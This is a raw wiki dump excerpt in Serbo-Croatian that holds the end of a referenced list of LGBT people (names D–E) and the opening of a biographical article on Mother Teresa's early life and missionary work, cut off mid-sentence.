1926-1999 | [[Australija]] | Političar | B <ref>Spoehr, John (2000). Don Dunstan: Politics and Passion. Bookends Books. {{ISBN|1-876725-18-4}}.</ref> |- | [[Cheryl Dunye]] | 1966 | [[Sjedinjene Američke Države|SAD]] | Rediteljka | L <ref>[http://www.cheryldunye.com/ Dunye's official website]. Retrieved June 30, 2007.</ref> |- | [[Imke Duplitzer]] | 1975 | [[Njemačka|Nemačka]] | [[Olimpijske igre|Olimpijska]] [[mačevanje|mačevateljka]] | L <ref>{{citation |url=http://www.gay.com/health/hiv/?sernum=2956 |title=These aren't the Gay Games |first=Jim |last=Buzinski |periodical=[[Gay.com]] |date=[[11 August]], [[2004]] |accessdate = 04. 04. 2008. }}</ref> |- | [[Alonso Duralde]] | 1967 | [[Sjedinjene Američke Države|SAD]] | Filmski kritičar | G <ref>[http://www.alonsoduralde.com// Official site]</ref> |- | [[John Duran]] | ? | [[Sjedinjene Američke Države|SAD]] | Gradonačelnik [[West Hollywood, California|West Hollywooda]] | G <ref>{{cite web |title=QRD 1994 Candidate Profiles: John Duran |url=http://www.qrd.org/qrd/orgs/GLVF/1994-candidate-profiles/candidate.john.duran |accessdate = 13. 08. 2007.}}</ref> |- | [[Gregory Durham]] | 1969 | [[Sjedinjene Američke Države|SAD]] | PR stručnjak, LGBT aktivista | G <ref name="engagement"/> |- | [[Eleanora Duse]] | 1859-1924 | [[Italija]] | Glumica | B <ref>[http://www.glbtq.com/arts/duse_e.html Eleanora Duse at Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070703160440/http://www.glbtq.com/arts/duse_e.html |date=2007-07-03 }}. Retrieved November 17, 2006.</ref> |- | [[Andrea Dworkin]] | 1946-2005 | [[Sjedinjene Američke Države|SAD]] | Feministička i LGBT aktivistkinja | L <ref>[[John Stoltenberg|Stoltenberg, John]]. [http://www.nostatusquo.com/ACLU/dworkin/LivingWithAndrea.html Living With Andrea Dworkin]. ''Lambda Book Report'', May/June 1994.</ref> |- | [[Deborah Dyer]] | 1967 | [[Ujedinjeno Kraljevstvo|UK]] | Muzičarka | B <ref>Romano, Tricia (November 30, 1995), [http://archives.thedaily.washington.edu/1995/113095/skin.html Skin and no bones about it] {{Webarchive|url=https://web.archive.org/web/20070216064751/http://archives.thedaily.washington.edu/1995/113095/skin.html |date=2007-02-16 }}, ''The University of Washington Student Newspaper''. Retrieved November 17, 2006.</ref> |- | [[Elana Dykewomon]] | 1949 | [[Sjedinjene Američke Države|SAD]] | Spisateljica i aktivistkinja | L <ref>{{citation |last=Livia |first=Anna |title=Dykewomon, Elana |periodical=[[glbtq.com]] |url=http://www.glbtq.com/literature/dykewomon_e.html |accessdate=27. 08. 2007. |year=2002 |archivedate=2007-08-14 |archiveurl=https://web.archive.org/web/20070814123439/http://www.glbtq.com/literature/dykewomon_e.html |deadurl=yes }}.</ref> |- | [[Anthony Edward Dyson]] | 1912-1976 | [[Ujedinjeno Kraljevstvo|UK]] | Intelektualac, LGBT aktivista | G <ref>Grey, Anthony, (November 3, 2002), [http://www.galha.org/glh/221/dyson.html A. E. Dyson (1928-2002)] {{Webarchive|url=https://web.archive.org/web/20071028012909/http://www.galha.org/glh/221/dyson.html |date=2007-10-28 }}, ''Gay and Lesbian Humanist''. Retrieved February 6, 2007.</ref> |} === Dž === === Đ === === E === [[Datoteka:EdwardII-Cassell.jpg|right|thumb|[[Edward II, kralj Engleske]]]] [[Datoteka:Roland Emmerich.5132 (cut).jpg|right|thumb|Reditelj [[Roland Emmerich]]]] [[Datoteka:Epam1.jpg|right|thumb|Tebanski vojskovođa [[Epaminonda]]]] {| class=wikitable ! width="24%" | Name ! width="13%" | Dates ! width="15%" | Nationality ! width="35%" | Profession ! width="17%" | Notes <ref name="notesexp" /> |- valign="top" | [[Angela Eagle]] | 1961 | [[Ujedinjeno Kraljevstvo|UK]] | Političarka | L <ref>{{cite news |title=Goodbye Brokeback |work=BBC News |date=[[January 27]], [[2006]] | url=http://news.bbc.co.uk/1/hi/magazine/4652676.stm |accessdate = 19. 02. 2007.}}</ref> |- | [[Adam Ebbin]] | 1963 | [[Sjedinjene Američke Države|SAD]] | Političar | G <ref>Out Candidates Make Good, [[The Advocate]] ([[December 9]], [[2003]]) [http://findarticles.com/p/articles/mi_m1589/is_2003_Dec_9/ai_111850659]</ref> |- | [[Diana L. Eck]] | 1945 | [[Sjedinjene Američke Države|SAD]] | Profesorka | L <ref>[http://www.thecrimson.com/article.aspx?ref=91139 Eck, Austin Named New Lowell Masters], ''[[The Harvard Crimson]]'', [[March 13]] [[1998]], accessed [[November 10]] [[2007]].</ref> |- | [[Fannyann Eddy]] | 1974-2004 | [[Sijera Leone]] | LGBT aktivista | G <ref>David (November 3, 2005), [http://www.glbtq.com/literature/kuzmin_ma.html Why Fannyann Eddy?:The story of a young African LGBT Rights Campaigner who was murdered in a brutal attack in 2004.] {{Webarchive|url=https://web.archive.org/web/20070516041740/http://www.glbtq.com/literature/kuzmin_ma.html |date=2007-05-16 }}, Queeryouth.org. Retrieved January 24, 2007.</ref> |- | [[Laurie Toby Edison]] | 1942 | [[Sjedinjene Američke Države|SAD]] | Fotografkinja | B <ref>[http://www.glbtq.com/arts/edison_lt.html Laurie Toby Edison at Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20131220075615/http://www.glbtq.com/arts/edison_lt.html |date=2013-12-20 }}. Retrieved November 17, 2006.</ref> |- | [[Louis Edmonds]] | 1923-2001 | [[Sjedinjene Američke Države|SAD]] | Glumac | G <ref>Hamrick, Craig (2004). Big Lou: The Life and Career of Actor Louis Edmonds. iUniverse. {{ISBN|0595297161}}.</ref> |- | [[Edward II]] | 1284-1327 | [[Ujedinjeno Kraljevstvo|UK]] | Kralj Engleske | B <ref>[http://www.glbtq.com/social-sciences/edward_II.html Edward II on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071014182003/http://www.glbtq.com/social-sciences/edward_II.html |date=2007-10-14 }}. Retrieved November 1, 2006.</ref> |- | [[Hilton Edwards]] | 1903-1982 | [[Irska]] | Glumac, pozorišni producent | G <ref name="gaytheatre.ie">[http://www.gaytheatre.ie/html/2005_galanight.html Award for gay theatre named after Edwards] {{Webarchive|url=https://web.archive.org/web/20070927034830/http://www.gaytheatre.ie/html/2005_galanight.html |date=2007-09-27 }}. Retrieved November 10, 2006.</ref> |- | [[Danielle Egnew]] | 1969 | [[Sjedinjene Američke Države|SAD]] | Muzičrka, glumica | L <ref name="gaytheatre.ie"/> |- | [[Michelle Ehlen]] | 1978 | [[Sjedinjene Američke Države|SAD]] | Glumica | L <ref>{{citation |title=Butch Jaime’s Michelle Ehlen |date=[[October 29]], [[2007]] |first=Tracy E. |last=Gilchrist |periodical=[[GayWired.com]] |accessdate=04. 11. 2007. |url=http://www.gaywired.com/article.cfm?id=17069&section=67 |archive-date=2008-05-26 |archive-url=https://web.archive.org/web/20080526080244/http://www.gaywired.com/article.cfm?id=17069&section=67 |dead-url=yes }}</ref> |- | [[Sergej Ejzenštejn|Sergei Eisenstein]] | 1898-1948 | [[Rusija]] | Reditelj | G <ref>{{cite book |title=Eisenstein at 100: A Reconsideration |url=https://archive.org/details/eisensteinat100r0000unse |first=Albert J. |last=LaValley |coauthors=Barry P. Scherr |year=2001 |publisher=Rutgers University Press |isbn=0813529719 |pages=[https://archive.org/details/eisensteinat100r0000unse/page/53 53]}}</ref> |- | [[Etiene Ekpo-Utip]] | 1988 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | G <ref>{{Cite web |title=Award for gay theatre |url=http://www.gaytheatre.ie/html/2005_galanight.html |access-date=2008-04-23 |archive-date=2007-09-27 |archive-url=https://web.archive.org/web/20070927034830/http://www.gaytheatre.ie/html/2005_galanight.html |dead-url=yes }}</ref> |- |[[Elagabal]] |203-222 | [[Sirija]]-[[Rim]] | Car |T<ref name="elagabalus">Meckler, M. L. ([[1997]]-[[August 26|08-26]]). "[http://www.roman-emperors.org/elagabal.htm Roman Emperors - DIR Elagabalus]". Retrieved [[2007]]-[[April 2|04-02]].</ref> |- |[[Lili Elbe]] |1882-1931 |[[Danska]] |Prva [[Hirurška korekcija pola|operisana]] [[transžena]] |T<ref name="lilielbe">Brown, K. (1997). "[http://www.transhistory.net/history/TH_Lili_Elbe.html Lili Elbe] {{Webarchive|url=https://web.archive.org/web/20080308205659/http://www.transhistory.net/history/TH_Lili_Elbe.html |date=2008-03-08 }}". Retrieved [[2007]]-[[April 2|04-02]].</ref> |- |[[Cássia Eller]] | 1962-2001 | [[Brazil]] | Muzičarka | L <ref>Gdula, Steve, (March 5, 2002), [http://www.findarticles.com/p/articles/mi_m1589/is_2002_March_5/ai_83246784 Queen of the Carnaval: lesbian Brazilian rocker Cassia Eller dies just as her career was really taking off] {{Webarchive|url=https://web.archive.org/web/20071223103025/http://findarticles.com/p/articles/mi_m1589/is_2002_March_5/ai_83246784 |date=2007-12-23 }}, ''The Advocate''. Retrieved November 2, 2006.</ref> |- | [[Denholm Elliott]] | 1922-1992 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | B <ref>[http://www.telegraph.co.uk/news/main.jhtml?view=DETAILS&grid=&xml=/news/2007/04/21/db2102.xml Susan Elliott (obituary)] {{Webarchive|url=https://web.archive.org/web/20071021152904/http://www.telegraph.co.uk/news/main.jhtml?view=DETAILS&grid=&xml=%2Fnews%2F2007%2F04%2F21%2Fdb2102.xml |date=2007-10-21 }}. telegraph.co.uk (April 24, 2007).</ref> |- | [[Mark Elliot (radio)|Mark Elliot]] | 1953 | [[Kanada]] | Radijski voditelj | G <ref>[http://www.cfrb.com/shows/the-nightside-with-mark-elliot Official Biography at CFRB.com] {{Webarchive|url=https://web.archive.org/web/20061021035558/http://www.cfrb.com/shows/the-nightside-with-mark-elliot |date=2006-10-21 }}. Retrieved November 20, 2006.</ref> |- | [[Peter Elliott]] | 1954 | [[Kanada]] | Anglikanski sveštenik | G <ref>Elliot, Peter (June 21, 2005), [http://www.anglican.ca/about/accp/elliott.htm Remarks to the ACC Meeting in Nottingham] {{Webarchive|url=https://web.archive.org/web/20070927040227/http://www.anglican.ca/about/accp/elliott.htm |date=2007-09-27 }}. Retrieved November 20, 2006.</ref> |- | [[Bret Easton Ellis]] | 1962 | [[Sjedinjene Američke Države|SAD]] | Pisac | B <ref>Billen, Andrew (October 4, 2005), [http://www.timesonline.co.uk/article/0,,7-1809390_1,00.html My inspirations: anger, disgust, rage]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }}, ''[[The Times]]''. Retrieved November 10, 2006.</ref> |- | [[Edith Ellis]] | 1861-1916 | [[Ujedinjeno Kraljevstvo|UK]] | [[Spisateljica | L <ref>[http://www.glbtq.com/social-sciences/ellis_h.html Edith Ellis at Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20140327172518/http://www.glbtq.com/social-sciences/ellis_h.html |date=2014-03-27 }}. Retrieved November 17, 2006.</ref> |- | [[Ruth Ellis (aktivistkinja)|Ruth Ellis]] | 1899-2000 | [[Sjedinjene Američke Države|SAD]] | LGBT rights aktivistkinja | L <ref>[http://www.sistersinthelife.com/ruthellis/ruth_ellis.html Profile at sistersinthelife.com] {{Webarchive|url=https://web.archive.org/web/20070927212219/http://www.sistersinthelife.com/ruthellis/ruth_ellis.html |date=2007-09-27 }}. Retrieved November 2, 2006</ref> |- | [[Julian Eltinge]] | 1881-1941 | [[Sjedinjene Američke Države|SAD]] | Glumac, [[drag queen]] | G <ref>{{cite web |first=Philip |last=Brett |coauthors=Wood, Elizabeth |title=Musical theatre, jazz and popular music |publisher=Electronic Musicological Review |date=December 2002 |work=Lesbian and Gay Music |url=http://www.rem.ufpr.br/REMv7/Brett_Wood/Brett_and_Wood.html#IV. |accessdate=15. 11. 2007. |archivedate=2007-09-27 |archiveurl=https://web.archive.org/web/20070927122439/http://www.rem.ufpr.br/REMv7/Brett_Wood/Brett_and_Wood.html#IV. |deadurl=yes }}</ref> |- | [[Pegah Emambakhsh]] | ? | [[Iran]] | LGBT aktivistkinja | L <ref>{{citation |title=Iranian lesbian deportation delayed |date=21. 08. 2007. |url=http://www.pinknews.co.uk/news/articles/2005-5234.html |first=Gemma |last=Pritchard |periodical=PinkNews.co.uk |accessdate=15. 09. 2007. |archivedate=2007-12-14 |archiveurl=https://web.archive.org/web/20071214040956/http://www.pinknews.co.uk/news/articles/2005-5234.html |deadurl=yes }}</ref> |- | [[Roland Emmerich]] | 1955 | [[Njemačka|Nemačka]] | Reditelj | G <ref>''The Advocate'', (January 25, 2006), [http://www.advocate.com/news_detail_ektid24780.asp Hollywood director helps save gay and lesbian films ]. Retrieved November 2, 2006.</ref> |- | [[Magnus Enckell]] | 1870-1925 | [[Finska]] | Slikar | G <ref name=andrejkoymasky>{{cite web |url=http://andrejkoymasky.com/liv/fam/bioe1/enck1.html |date=18. 05. 2003. |title=Knut Magnus Enckell |accessdate=03. 11. 2007. |work=AndrejKoymasky.com |archive-date=2007-10-17 |archive-url=https://web.archive.org/web/20071017224711/http://andrejkoymasky.com/liv/fam/bioe1/enck1.html |dead-url=yes }}</ref> |- | [[Nick Enright]] | 1950-2003 | [[Australija]] | Dramski pisac | G <ref>Dow, Steven (2003), [http://www.stevedow.com.au/Article/article.asp?id=118 Hiding the life fantastic] {{Webarchive|url=https://web.archive.org/web/20070930135613/http://www.stevedow.com.au/Article/article.asp?id=118 |date=2007-09-30 }}, stevedow.com.au. Retrieved November 20, 2006.</ref> |- | [[Anton Enus]] | ? | [[Australija]] | TV voditelj | G <ref>[http://www9.sbs.com.au/theworldnews/anchors.php#anton Biography at sbs.com.au] {{Webarchive|url=https://web.archive.org/web/20061229185638/http://www9.sbs.com.au/theworldnews/anchors.php#anton |date=2006-12-29 }}. Retrieved November 20, 2006.</ref> |- | [[Epaminondas]] | 418-362 pre n.e. | Teba | Vojskovođa i državnik | G <ref>Plutarch, Life of Pelopidas</ref> |- | [[Brian Epstein]] | 1934-1967 | [[Ujedinjeno Kraljevstvo|UK]] | Menađer grupe ''[[The Beatles]]'' | G <ref>''The Advocate'' (November 24, 2005), [http://www.advocate.com/news_detail_ektid22844.asp John Lennon pal recalls outing Brian Epstein ]. Retrieved November 10, 2006.</ref> |- | [[Didier Eribon]] | 1953 | [[Francuska]] | Filozof, intelektualac | G <ref>Insult and the Making of the Gay Self. (originally Réflexions sur la question gay (1999)) Translated by Michael Lucey. Duke University Press, 440 pages. July 2004.</ref> |- | [[Jill Esmond]] | 1908-1990 | [[Ujedinjeno Kraljevstvo|UK]] | Glumica | L <ref>{{citation |title=Olivier |last=Beckett |first=Francis |year=2005 |isbn=1904950388 |page=30 |publisher=Haus Publishing}}</ref> |- | [[Jade Esteban Estrada]] | 1975 | [[Sjedinjene Američke Države|SAD]] | Muzičarka | L <ref>[http://www.getjaded.com/bio.htm Jade Esteban Estrada profile], GetJaded.com. Retrieved November 2, 2006.</ref> |- | [[Melissa Etheridge]] | 1961 | [[Sjedinjene Američke Države|SAD]] | Muzičarka | L <ref name="Melissa Etheridge profile"/> |- | [[Uzi Even]] | 1940 | [[Izrael]] | Profesor, političar, prvi otvoreno gej član [[Kneset]]a | G <ref>BBC, (November 4, 2002), [http://news.bbc.co.uk/1/hi/world/middle_east/2400237.stm Israel's first gay MP enters parliament]. Retrieved November 2, 2006.</ref> |- | [[Kenny Everett]] | 1944-1995 | [[Ujedinjeno Kraljevstvo|UK]] | DJ, komičar | G <ref>[http://www.fyne.co.uk/index.php?item=214 Biography at Fyne Times] {{Webarchive|url=https://web.archive.org/web/20111012052635/http://fyne.co.uk/index.php?item=214 |date=2011-10-12 }}. Retrieved November 10, 2006.</ref> |- | [[Rupert Everett]] | 1959 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | G <ref>Vilanch, Bruce ([[1998-01-20]]). [http://findarticles.com/p/articles/mi_m1589/is_n750-1/ai_20225498 Rupert Everett: leading man on the rise]. [[The Advocate]] Retrieved May 24, 2007</ref> |- | [[Hanns Heinz Ewers]] | 1871-1943 | [[Njemačka|Nemačka]] | Pisac | G <ref>Hekma, Gurt, [http://www.triangles-roses.org/persecution_gays.htm The Nazi persecution of Gays] {{Webarchive|url=https://web.archive.org/web/20070927034941/http://www.triangles-roses.org/persecution_gays.htm |date=2007-09-27 }}, Triangles Roses. Retrieved December 7, 2006.</ref> |- | [[Mark Ewert]] | ? | [[Sjedinjene Američke Države|SAD]] | Pisac, glumac | G <ref>{{citation |url=http://www.nerve.com/PersonalEssays/Ewert/boyForBill |last=Ewert |first=Mark |title=A Boy For Bill Burroughs |periodical=[[Nerve (magazine)|Nerve]] |date=[[16 June]] [[1999]] |accessdate = 01. 04. 2008. }}</ref> |} == Reference == <div style="height: 380px; overflow: auto;"> {{reflist|2}} </div> {{Sadržaj spiska LGBT osoba}} [[Kategorija:LGBT osobe| A]] ot9c99opzfb3513rkufoaxrkk8ul7a1 0 21254 42602711 42478765 2026-05-28T10:50:45Z CommonsDelinker 806 Zamjenjujem datoteku President_Ronald_Reagan_presents_Mother_Teresa_with_the_Medal_of_Freedom_at_a_White_House_Ceremony_in_the_Rose_Garden.jpg datotekom [[:File:President_Reagan_Presents_Mother_Teresa_with_the_Medal_of_Freedom_at_a_White_House_Ceremony_in 42602711 wikitext text/x-wiki {{pov}} {{Infokutija ličnost | ime = Terzina keva od Calcutte <br /> ''Anjezë Gonxhe Bojaxhiu'' | slika = MotherTeresa 090.jpg | opis = Majka Tereza | dead = yes | datum_rođenja = {{birth date|1910|8|26|df=y}} | mjesto_rođenja = [[Skoplje|Üsküb]], [[Otomansko Carstvo]] (danas [[Skoplje|Skopje]], [[Republika Makedonija]]) | datum_smrti = {{death date and age|1997|9|5|1910|8|26|df=y}} | mjesto_smrti = [[Kolkata|Calcutta]], [[Indija]] | državljanstvo = [[Indija]] (1948 - 1997) | nacionalnost = [[Indija]] | religija = [[katolička crkva|rimokatolik]] | zanimanje = rimokatolička redovnica, humanitarna radnica<ref>PBS Online Newshour (September 5, 1997). [http://www.pbs.org/newshour/bb/remember/1997/teresa.html Mother Teresa Dies] {{Webarchive|url=https://web.archive.org/web/20090828103555/http://www.pbs.org/newshour/bb/remember/1997/teresa.html |date=2009-08-28 }}, www.pbs.org. Retrieved August, 2007</ref> }} '''Majka Terezija''', rođena kao '''Anjezë Gonxhe Bojaxhiu''', ([[Skoplje]], [[27. 8.]] [[1910]]. — [[Kolkata|Calcutta]], [[5. 9.]] [[1997]].), pravim imenom '''Agnesa Gongea Boiagiu''', je bila [[redovnik|časna sestra]], rođena je u Skoplju u [[albanci|albanskoj]]<ref>http://www.vatican.va/news_services/liturgy/saints/ns_lit_doc_20031019_madre-teresa_en.html</ref> [[katoličanstvo|katoličkoj]] porodici, koja je osnovala red [[Misionarke milosrđa]] i dobila [[Nobelova nagrada za mir|Nobelovu nagradu za mir]] [[1979]]. za svoj humanitarni rad. Majka Tereza je zbrinjavala siromašne, bolesne, siročiće i umiruće [[Kolkata|Kalkute]]. Preko 45 godina služila je siromašnima, bolesnima, siročadi i umirućima. Misionarke ljubavi od početne male zajednice s vremenom su prerasle u zajednicu koja broji 5 000 redovnica u oko 600 misija, škola i skloništa u 120 država svijeta. [[Papa]] [[Ivan Pavao II.]] proglasio je Majku Tereziju blaženom [[19. 10.]] [[2003]]. godine. Od [[1970]]. godine, međunarodno je prepoznata kao humanitarka i pomoćnica siromašnih i nemoćnih. Dobitnica je [[Nobelova nagrada za mir|Nobelove nagrade za mir]] [[1979]]., te mnogih drugih međunarodnih nagrada, među kojima se ističu najviše indijsko civilno odličje "Bharat ratna" iz [[1980]]. za njen humanitarni rad, počasno državljanstvo [[Sjedinjene Američke Države|SAD]]-a, Nagrada [[Albert Schweitzer]] itd. Misionarke ljubavi nastavljaju pomagati siromašnima i potrebnima širom svijeta pa tako djeluju i u [[Hrvatska|Hrvatskoj]]. Majka Terezija više puta boravila je u Hrvatskoj, prvi put još [[1928]]. godine. Župnik njene župe u rodnom Skoplju bio je hrvatski svećenik Franjo Jambreković, koji je utjecao na nju, a u Indiji je surađivala s hrvatskim svećenikom [[Ante Gabrić|Antom Gabrićem]]. Skupština grada Zagreba [[19. 7.]] [[1990]]. proglasila ju je počasnom građankom grada [[Zagreb]]a. == Rani život == Majka Terezija, pravim imenom '''Agnes Gonxha Bojaxhiu'''<ref>{{Cite web|url=http://enciklopedija.lzmk.hr/clanak.aspx?id=23782|Hrvatski obiteljski leksikon - Majka Terezija|accessdate=[[28. 8.]] [[2010]].|language=hrvatski}}</ref>, rođena je u Skoplju u albanskoj [[katoličanstvo|katoličkoj]] obitelji. Njezino srednje ime "Gonxha" potječe od [[albanski jezik|albanske]] riječi "gonxhe" što znači "[[pup]]oljak". Iako je rođena [[26. 8.|26. kolovoza]], osobno je smatrala [[27. 8.|27. kolovoz]] svojim rođendanom, jer je na taj dan krštena.<ref>{{Cite web|url=http://www.vatican.va/news_services/liturgy/saints/ns_lit_doc_20031019_madre-teresa_en.html|Mother Theresa of Calcutta (1910–1997)|accessdate=28. kolovoza 2010.|language=engleski|publisher=Vatican News Service|date=19.|month=listopada|year=2003.}}</ref> Bila je najmlađe [[dete|dijete]] u obitelji Nikollë (*1878. - †1919.) i Drane Bojaxhiu (djevojački Bernaj) (*1889. - †1972.)<ref>Lester, Meera (2004.) Saints' Blessing. Fair Winds. pp. 138. {{ISBN|1-59233-045-2}}. http://books.google.com/?id=HSg6f3JaN1IC&pg=PA139&lpg=PA139&dq=Nikolle+bojaxhiu{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }} Preuzeto [[14. 12.|14. prosinca]] [[2008]].</ref> Njen otac potječe iz [[Skadar|Skadra]], a majka iz [[Đakovica|Đakovice]].<ref>"...Mother Teresa's brother Lazar Bojaxhiu emphasized all the time that his parents and their descendants were Albanians from Kosovo, his mother's family being originally from Novosela near the town of Gjakova, and that of his father from Prizren...Mother Teresa herself was never keen to mention her nationality when talked to the press. There were ocassions, however, when she made it absolutely clear that she was Albanian. So, for example, when she was awarded the Nobel Peace prize in Oslo in 1979 she told the curious international media during one of the ceremonies: "by blood and origin I am all Albanian (emphasis added). Considering that Mother Teresa's brother and, more importantly, Mother Teresa herself were always consistent about their Albanian origin, it makes no sense to argue that her descent is far from clear. Surely Mother Teresa was the best authority on the issue of her ethnic origin..." http://books.google.ba/books?id=u_FE30FTbg0C&pg=PA34&lpg=PA34&dq=Albanians+steal+Mother+Teresa&source=bl&ots=ilvTYi8ZTA&sig=epdjrveUgltTAujvwKaKejy6Mwc&hl=en&sa=X&ei=8aYRUPmXJsHk4QTstYGoAQ&redir_esc=y#v=onepage&q=Albanians%20steal%20Mother%20Teresa&f=false</ref> Oboje su bili vrlo pobožni. U obitelji je bilo još dvoje djece: Lazar (*1907. - †1981.) i Agata (*1904. - †1973). Lazar se školovao na Vojnoj akademiji u [[Graz]]u, a zbog političkih razloga kasnije je emigrirao u [[Italija|Italiju]]. Njezin otac radio je kao pomoćnik u [[apoteka|ljekarni]], a bavio se i [[politika|politikom]], zalagao se za prava [[Albanci|Albanaca]]. Umro je [[1919]]. (nakon što mu je pozlilo nakon obroka), kada je Terezija imala osam godina. Kada se rodila 1910., [[Skoplje|Skopje]] je bilo u [[Otomansko Carstvo|Osmanskom Carstvu]]. U [[Balkanski ratovi|Balkanskim ratovima]] 1912., zauzima ga srpska vojska te postaje dio [[Kraljevina Srbija|Kraljevine Srbije]]. Od [[1918]]. godine, Skopje je u sastavu [[Država Slovenaca, Hrvata i Srba|Države SHS]] pa [[Kraljevina Jugoslavija|Kraljevine SHS]]. Išla je u osnovnu školu u kojoj se podučavalo na [[albanski jezik|albanskom jeziku]], a zatim je pohađala gimnaziju, gdje se podučavalo na [[srpski jezik|srpskom jeziku]]. Prvu [[euharistija|pričest]] primila je s pet godina, a uskoro i [[pomazanje|svetu potvrdu]]. U ranim godinama bila je oduševljena pričama o životu [[misionarenje|misionara]], a do 12 godina bila je uvjerena da se treba posvetiti vjerskom životu.<ref>Clucas, Joan Graff. (1988). Mother Teresa. New York. Chelsea House Publications, pp. 24. {{ISBN|1-55546-855-1}}.</ref> [[Župnik]] njene župe Presvetog Srca Isusova u Skopju, bio je [[Hrvati|hrvatski]] isusovac [[Franjo Jambreković]], s kojim se kasnije dopisivala iz Indije.<ref>Kolodiejchuk, Brian: Majka Terezija iz Kalkute, uzor za naše vrijeme, Obnovljeni život (58) 3 (2003.), Zagreb, str. 305-320</ref> S 18 godina odlučila je posvetiti život "službi Bogu" i ušla u [[katoličanstvo|katolički]] red irskih sestara, specijaliziran za misije u Bengalu u [[Indija|Indiji]]. Do kraja života više nije vidjela majku i sestru.<ref name="sharn">Sharn, Lori (5 September 1997). "Mother Teresa dies at 87". USA Today. Preuzeto [[30. 3.]] [[2007]].</ref> Putovala je iz Skopja preko [[Zagreb]]a do [[Irska|Irske]], u rujnu [[1928]].<ref>{{Cite web |title=Archive copy |url=http://www.glas-koncila.hr/mt_tekst_2.html |access-date=2010-10-15 |archivedate=2011-08-16 |archiveurl=https://web.archive.org/web/20110816220827/http://www.glas-koncila.hr/mt_tekst_2.html |deadurl=yes }}</ref> Otišla je u [[manastir|samostan]] časnih sestara lorentinki u [[Rathfarnham]]u u Irskoj, kako bi naučila [[engleski jezik]], jer se njime podučava školsku djecu u Indiji. Stigla je u Indiju [[1929]]., i započela novincijat u gradu [[Darjeeling]]u, u blizini [[Himalaja|Himalaje]].<ref>Clucas, Joan Graff. (1988). Mother Teresa. New York. Chelsea House Publications, pp. 31. {{ISBN|1-55546-855-1}}.</ref> Položila je svoje prve redovničke zavjete [[24. 5.]] [[1931]]. U to vrijemem, uzima redovničko ime Terezija, po [[Sveta Mala Terezija|sv. Tereziji iz Lisieuxa]] (Mala Terezija), zaštitnici misionara.<ref>Blessed Mother Teresa of Calcutta and St. Therese of Lisieux: Spiritual Sisters in the Night of Faith</ref> Svečane redovničke zavjete položila je [[14. 5.]] [[1937]]., dok je radila kao nastavnica u školi samostana Loreto u istočnoj Kalkuti. Voljela je raditi u školi i sve više je razmišljala kako pomoći siromašnima u Kalkuti. Grad je pogodila teška glad [[1943]]., te oružani sukob između [[hinduizam|hinduista]] i [[islam|muslimana]] [[1946]]. godine. Nekoliko godina poučavala je u jednoj školi u Kalkuti, a [[1946]]. primila je "poziv unutar poziva", kako ga je sama nazvala, napustila školu i počela djelovanje među siromašnima, bolesnima, umirućima. == Misionarski rad == [[Datoteka:Sandro Pertini e Madre Teresa di Calcutta.jpg|thumb|200px|Majka Terezija prilikom susreta s nekadašnjim talijanskim predsjednikom [[Sandro Pertini|Sandrom Pertinijem.]]]] Počela je misionarski rad sa siromašnima [[1948]]. godine, zamijenivši svoju tradicionalnu redovničku haljinu s jednostavnim bijelim pamučnim [[sari]]jem ukrašenim plavim obrubom. Dobila je [[Indija|indijsko]] državljanstvo i otputovala izvan Kalkute u predgrađe i brinule za ljude u potrebi.<ref>"Blessed Mother Teresa". Encyclopædia Britannica Online. Encyclopædia Britannica. http://www.britannica.com/eb/article-9071751. Preuzeto 20. prosinca 2007.</ref> Njezino djelovanje ubrzo su primijetili i indijski dužnosnici, uključujući i premijera, koji je izrazio zahvalnost.<ref>Williams, Paul (2002). Mother Teresa. Indianapolis. Alpha Books, p. 57. {{ISBN|0-02-864278-3}}.</ref> Terezija je napisala u svoj [[dnevnik (književnost)|dnevnik]], da joj je prva godina bila ispunjena teškoćama. Nije imala prihoda, prosila je za [[hrana|hranu]] i potrepštine. Prvih nekoliko mjeseci, suočila se sa samoćom i napasti, da se vrati u udobnost samostana. Dobila je dozvolu iz [[Vatikan]]a [[7. 10.]] [[1950]]., za osnivanje redovničke zajednice na području biskupije, što je bio početak kasnije redovničke zajednice [[Misionarke ljubavi|Misionarki ljubavi]]. [[Misija (kršćanstvo)|Misija]] je prema njenim vlastitim riječima bila briga za: "gladne, gole, beskućnike, osakaćene, slijepe, gubavce, sve one ljude koji se osjećaju neželjenima, nevoljenima, zanemarenima od društva i koji su postali teret društvu". Redovnička zajednica počela je rad s 13 redovnica u Kalkuti, a danas ima više od 4 000 redovnica i dobrotvorne centre širom [[svijet]]a. Brinu se za izbjeglice, slijepe, oboljele od [[Sida|side]], [[invalidnost|invalide]], [[alkoholizam|alkoholičare]], siromašne, beskućnike, ali i žrtve [[poplava]], [[epidemija]] i [[glad]]i.<ref>Spink, Kathryn (1997). Mother Teresa: A Complete Authorized Biography. New York. HarperCollins, str.284. {{ISBN|0-06-250825-3}}.</ref> Majka Terezija otvorila je prvi Dom za umiruće [[1952]]. godine u prostoru dobivenom od grada Kalkute. Uz pomoć indijskih dužnosnika napušteni hinduistički hram, pretvoren je u besplatni hospicij za siromašne. Ona ga je nazvala Dom čista srca ("Nirmal Hriday").<ref>Sebba, Anne (1997).Mother Teresa: Beyond the Image. New York. Doubleday, str. 58–60. {{ISBN|0-385-48952-8}}.</ref> U tom [[hospicij]]u bili su neizlječivi bolesnici, kojima je pružena medicinska skrb i prilika, da preminu dostojanstveno, a ne napušteni na ulici. Prije [[smrt]]i prema ritualima njihove vjere, [[muslimani]]ma su se čitali odlomci [[Kuran]]a, [[hindusi]] su dobivali svetu vodu iz [[Ganges]]a, a [[katoličanstvo|katolici]] sakrament [[pomazanje bolesnika|bolesničkog pomazanja]].<ref>Spink, Kathryn (1997). Mother Teresa: A Complete Authorized Biography. New York. HarperCollins, str.55. {{ISBN|0-06-250825-3}}.</ref> Uskoro je Majka Terezija otvorila dom "Shanti Nagar" (Grad mira) za one koji pate od [[lepra|gubavosti]]. Misionarke ljubavi uspostavile su niz domova u Kalkuti, gdje su dijelile [[lijek]]ove, zavoje i hranu. Godine [[1955]]., otvoren je dom "Nirmala Shishu Bhavan" (Dječji dom Bezgrješnog 